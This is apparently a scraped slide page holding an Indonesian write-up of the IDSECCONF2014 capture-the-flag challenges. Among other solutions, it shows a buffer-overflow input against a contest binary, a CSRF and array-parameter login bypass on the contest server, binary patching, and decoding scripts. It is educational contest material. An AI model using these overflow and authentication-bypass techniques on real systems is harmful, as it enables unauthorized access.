Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullah
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
 

How to hack #IDSECCONF2014 ctf online challenge - nganggur

  • 1. IDSECCONF2014 CtF writeup by nganggur Easy Exploit .text:0804850C public main .text:0804850C main proc near ; DATA XREF: _start+17o .text:0804850C push ebp .text:0804850D mov ebp, esp .text:0804850F and esp, 0FFFFFFF0h .text:08048512 sub esp, 30h .text:08048515 mov dword ptr [esp+2Ch], 0 .text:0804851D lea eax, [esp+18h] .text:08048521 mov [esp+4], eax .text:08048525 mov dword ptr [esp], offset a25s ; %25s .text:0804852C call ___isoc99_scanf .text:08048531 lea eax, [esp+18h] .text:08048535 mov [esp+4], eax .text:08048539 mov dword ptr [esp], offset format ; buf: %sn
  • 2. .text:08048540 call _printf .text:08048545 mov eax, [esp+2Ch] .text:08048549 mov [esp+4], eax .text:0804854D mov dword ptr [esp], offset aVal0x08x ; val: 0x%08xn .text:08048554 call _printf .text:08048559 cmp dword ptr [esp+2Ch], 0C0FFEE76h .text:08048561 jnz short loc_8048582 .text:08048563 mov dword ptr [esp], offset s ; Mantap,flag: ! .text:0804856A call _puts .text:0804856F mov dword ptr [esp], offset command ; /bin/cat valid/flag .text:08048576 call _system .text:0804857B mov eax, 0 .text:08048580 jmp short locret_804859A .text:08048582 ; --------------------------------------------------------------------------- .text:08048582 .text:08048582 loc_8048582: ; CODE XREF: main+55j .text:08048582 mov dword ptr [esp], offset aTidakkkkkk ; Tidakkkkkk!!! .text:08048589 call _puts .text:0804858E mov dword ptr [esp], 1 ; status .text:08048595 call _exit .text:0804859A ; --------------------------------------------------------------------------- .text:0804859A .text:0804859A locret_804859A: ; CODE XREF: main+74j .text:0804859A leave .text:0804859B retn .text:0804859B main endp
  • 3. Dari kode diatas, program ini akan mengeksekusi perintah /bin/cat valid/flag (file yang isinya flag) apabila nilai di [esp+2Ch] adalah 0C0FFEE76h (Bisa dilihat pada alamat 08048559) Di alamat 0804852C, program akan mengambil inputan dari stdin lewat fungsi ___isoc99_scanf dan buffer nya diletakkan di alamat [esp+18h]. Jumlah buffer 'normal' yang akan menampung inputan tersebut adalah 2Ch - 18h = 14h (20 karakter), sehingga apabila input yang diambil oleh program melebihi 20 karakter, buffer pada [esp+2Ch] akan dioverwrite. Dan nilai dari [esp+2Ch] harus sama dengan 0C0FFEE76h jika ingin program ini mengoutpukan flag dari file valid/flag. Salah satu cara input dari stdin adalah dengan mengetikkan langsung karakter ke terminal. Masalahnya nilai 0C0FFEE76h tidak bisa diketik langsung ke terminal. Terminal hanya memroses karakter unicode dan bukan ASCII. Jadi inputnya harus pake trik dari file kemudian di 'cat' filenya ke stdout, lalu di pipe ke programnya. cat exploit | ./expl1 isi filenya adalah : 12345678901234567890vîÿÀ 20 karakter buffer asli, dan 4 byte buffer sisipan 76 EE FF C0
  • 4. Easy Forensic, Nyembunyiin object/text di balik image di pdf. Solusi : 1. buka aja file pdf nya lewat pdf viewer nya linux. Adobe reader nya windows ga bisa nampilin teks yang disembunyiin di balik gambar di pdf nya. 2. setelah buka file pdf nya, pencet aja ctrl+A buat nampilin flag nya
  • 5. Easy Programming. Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355 Dari googling sedikit, didapat kalo deret ini adalah deret tribonacci dengan inisialisasi a,b,c = 1 Dan kita disuruh nyari pada elemen ke berapa dari deret tersebut yang nilainya : 1471338318398529007088445426.......833044527384388989361673409 Solusi : bruteforce. Script python : def fiblike(start): addnum = len(start) memo = start[:] def fibber(n): try: return memo[n] except IndexError: ans = sum(fibber(i) for i in range(n-addnum, n)) memo.append(ans) return ans return fibber fibo = fiblike([1,1,1]) for i in range(2000000): s=(%s) % fibo(i) if s[:10] == '1471338318': print i break elemen tersebut berada di index 131338
  • 6. Easy Web. Easy web ini mengeksploitasi CSRF (cross site request forgery) Bisa dilihat dari struktur html nya yang tidak menyediakan csrf token pada form method post. Cara eksploitasinya adalah save file web nya menjadi html dan ganti url action pada method post nya form class=form-signin method=post action=http://74.120.223.237/web1/proses.php Clue selanjutnya adalah : Array Target exploit selanjutnya adalah bermain dengan parameter POST nya. Setelah mencoba dengan mengubah parameter passwd menjadi : input name=id value=test class=form-control type=text input name=passwd[] class=form-control type=text value=$_FLAG Output dari html nya adalah : Selamat Datang, test dan di view-source nya, ada clue lagi : !--clue: cobalah dengan user yang lain untuk mendapatkan flag-- Setelah mencoba dengan user : admin input name=id value=admin class=form-control type=text ketemu flag nya :
  • 7. Selamat Datang, admin flag:mantaplah_br0_l4njutk4n Disini kita bisa menyimpulkan, dengan mengganti input name password dengan array, semua input user akan diterma karena semua password akan diload oleh script. Jadi apapun input password kita, asalkan username nya benar, sistem akan menganggap inputan itu valid.
  • 8. Easy Reversing. Disini kita dikasih binary EXE. EXE ini adalah format EXE dari microsoft .NET Salah satu cara buat analsisi .NET executable adalah menggunakan ILSpy (http://ilspy.net/) Setelah dibuka dengan ILSpy, bagian yang menarik dari program ini adalah :
  • 9. Disini ada 3 hal yang bisa kita lakuin : 1. Cari apa sebenarnya isi dari variabel text 2. Langsung keluarin messagebox yang isinya stringBuilder.ToString() 3. Patch programnya, jadi apapun string yang diinput, program akan menampilin message box yang teksnya adalah Flag. Untuk opsi 1 dan 2, kita bikin program yang sama, dengan kode yang sama menggunakan Microsoft Visual Studio. Hasilnya : Password : ganteng2014 Flag : 9bd03cfdfe10124755e2a051288c6dda
  • 10. Untuk patching, kita akan mengganti istruksi : Instruksi brtue loc_314 (2D 13) diganti menjadi brtue.s loc_339 (2D 00) Alur programnya akan berubah menjadi seperti ini :
  • 11. Jadi apapun string yang kita input, program akan menampilkan flag nya.
  • 12. Easy Crypto Kita dikasih base64 string VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBkZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhMmYyZjY0NmMyZTY0NzI2ZjcwNjI2Zjc4MmU2MzZmNmQyZjczMmYzMjM0NjkzMTZiNzEzNjc5NjM2ZjZmNjg3MTZhNmMyZjYzNzI3OTcwNzQ2ZjMxNDY2YzYxNjcyZTZkNzAzMw== dan ketika di decode, hasilnya : Tidak segampang itulah mas bro. decrypt ini: 687474703a2f2f646c2e64726f70626f782e636f6d2f732f323469316b713679636f6f68716a6c2f63727970746f31466c61672e6d7033 String tersebut adalah hexstring dari sebuah string, dimana ketika didecode (http://www.string- functions.com/hex-string.aspx) hasilnya : http://dl.dropbox.com/s/24i1kq6ycoohqjl/crypto1Flag.mp3 Setelah didownload, mp3 ini isinya adalah code morse. Decode morse ini bisa lewat apps android Morse Code Reader : https://play.google.com/store/apps/details?id=org.jfedor.morsecodehl=en setelah didecode, hasilnya : FUNM0RS3C0D3
  • 13. Medium Forensic, Kita dikasih file berupa snapshot dari server yang compromised. Dari penelusuran, ada file menarik di directory /home/clude/ahay yang isinya disuruh cek log. Hint dari web ctf nya adalah : penyerang nya berasal dari afrika. Di directory /var/log, hanya ada 1 log yang menarik yaitu log dari apache2 Karna hint nya seperti itu, kemungkinan kita akan mencari pengakses web dengan ip yang berasal dari negara afrika. Nah, solusi paling gampang adalah filter ip dari access log apache, sort dan ilangin duplikasi ip nya terus cari tau ip itu berasal dari negara mana. Solusinya bisa diliat dari script medium-forensic.sh #--------------------------------------------------------------- #!/bin/bash IP=$(cat ./access.log | awk {'print $1'} | sort -u) cari () { for X in $IP; do I=$(echo $X) echo [+] IP $I berasal dari : C=$(geoiplookup $I | head -1 | cut -d ':' -f2) echo [+] IP $I berasal dari : $C done } yakin () { read -r -p ${1:-Yakin nih? [y/N]} response case $response in [yY][eE][sS]|[yY]) true
  • 14. ;; *) false ;; esac } if [ $# -eq 0 ]; then echo [*] Liat semua IP yakin cari else echo [*] Cari IP dari : $1 cari | grep -i $1 fi #---------------------------------------------------------------------- Command yang dipakai :
  • 15. Medium Crypto, Disini, hint yang ada cuman dari filename aja falsedottc Dari ekstension file, bisa ditebak kalau file ini adalah file TrueCrypt. Jadi kemungkinan besar, file ini adalah partisi harddisk. Jadi kita mount dulu filenya, step step nya : 1. yum install tcplay util-linux 2. sudo losetup -f falsedottc 3. sudo tcplay -m falsedottc -d /dev/loop0 nah.. disini TrueCrypt nya minta password. Tebakan pertama, passwordnya : idsecconf ternyata benar! :p 4. sudo mkdir -p /mnt/tc sudo mount -o nodev,nosuid,uid=1337,gid=1337 /dev/mapper/falsedottc /mnt/tc 5. cuman ada 1 file di dalam partisi itu, dan filenya namanya flag.txt cat /mnt/tc/* #flag.txt here_iam_rock_you_like_a_hurricane
  • 16. Medium Reverse Disini kita dikasih executable, encoded string, dan petunjuk key yang dipakai, executable nya adalah program untuk mengencode string menggunakan key. Kita disuruh buat decode string VLZHXPZNYRBXPMEB dan key untuk decode nya harus dicari sendiri (clue : key ada didalam encode). Dari analisis program, pemanggilan fungsi untuk encode ada di Dan fungsinya sendiri adalah :
  • 17. Dengan menggunakan plugin Hex-rays disassembly, didapat : Dimana yang menarik disini adalah, fungsi encode ini merupakan fungsi encode mod 26 c = (p + k) mod 26 Sehingga fungsi decodenya adalah p = (c – k) mod 26 c = ciphertext, p = plaintext, k = key Dan ini code yang saya buat untuk decode string :
  • 18. Setelah teks dan clue diganti oleh CTF lord nya, akhirnya level ini bisa terpecahkan. (asli.. ga nemu key buat decode string pertamanya..) To decode : WFGNEOFGEDQGE Key : ABCD Sehingga string asli setelah di decode adalah : WEEKENDDECODE
  • 19. Bonus : Hard Reverse Meskipun level ini ga selesai pas ctf, ane iseng ngerjain aja (pas ctf cuman dikasih sejam buat nyelesain level ini.. ctf lord nya rada rada kejam keknya.. :p) Singkat cerita, executable dari hardrev ini adalah sebuah server yang standby untuk menerima dan mengirim string dimana untuk memulai proses kirim terima string ini, ada 1 kata pembuka yang harus dikirim client ke server yaitu : ohmyweeekendplisn Setelah server menerima string itu, server akan mengirim 84 string random yang diencode 2 kali ke client. Apabila client bisa mengirim balik decoded string nya (plaintext) maka server akan mengirim flag ke client. Call ke loop utama program :
  • 20. Ini call yang ada di dalam loop main call. sub_40109D adalah fungsi pengecekan string pembuka dimana apabila client salah mengirim string, program akan berhenti.
  • 21. Ini fungsi pengecekan kata pembuka : Server HARUS menerima string ohmyweeekendplisn dari client.
  • 22. Selanjutnya, server akan mengulang proses pada sub_400ED2 sebanyak 54h (84) kali dan apabila return dari fungsi tersebut selalu true, pada loop terakhir server akan membaca file flag dan mengirimkan isinya ke client.
  • 23. Di dalam sub_400ED2, ada 2 fungsi yang menarik yaitu sub_400CEC dan sub_400E58. Fungsi di sub_400CEC, akan mengambil input string random dari program dan outputnya adalah array dari integer sebanyak panjang string inputan, dan sub sub_400E58 akan mengambil input dari array tersebut, setiap elemen dari array itu akan diconvert ke string, kemudian diencode dan hasil string nya akan dikirim ke client. Setiap karakter input, akan dikurangkan dengan 10 dan diappend dengan karakter 5Fh (_) sebanyak 2 karakter.
  • 24. Snapshot pada fungsi sub_400CEC : Di fungsi ini, ada 3 loop dimana tiap loop akan memroses tiap karakter yang ada dari string dan mentranformasi string tersebut menjadi array dari bilangan integer. Berikut code python untuk encode string :
  • 25. def encode_part2(part2): i = 0 c2 = 0 c3 = 0 ln = len(part2) arr = [0] * ln j = 0 while i ln: arr[i] = ((i 4) + ln) ^ ord(part2[i]) c2 = 0 while c2 i: arr[c2] = arr[c2] ^ (~(arr[i])) c3 = 0 while c3 c2: arr[c3] = arr[c3] + (~(arr[c2] ^ arr[i])) c3 += 1 c2 += 1 i += 1 return arr
  • 26. Dan untuk string decodernya : def decode_part2(part2): ln = len(part2) i = ln - 1 c2 = 0 c3 = 0 arr = list(part2) while i = 0: c2 = i - 1 while c2 = 0: c3 = c2 - 1 while c3 = 0: arr[c3] = arr[c3] - (~(arr[c2] ^ arr[i])) c3 -= 1 arr[c2] = arr[c2] ^ (~(arr[i])) c2 -= 1 arr[i] = ((i 4) + ln) ^ arr[i] i -= 1 ch = [chr(x) for x in arr] return .join(ch) Flag dari level ini gak diketahui karna server buat ngetest nya udah dimatiin. Tapi dari hasil eksekusi, nampaknya level ini berhasil ditembus.
  • 27. Server : Client : Source code dari client bisa dilihat di test-client.py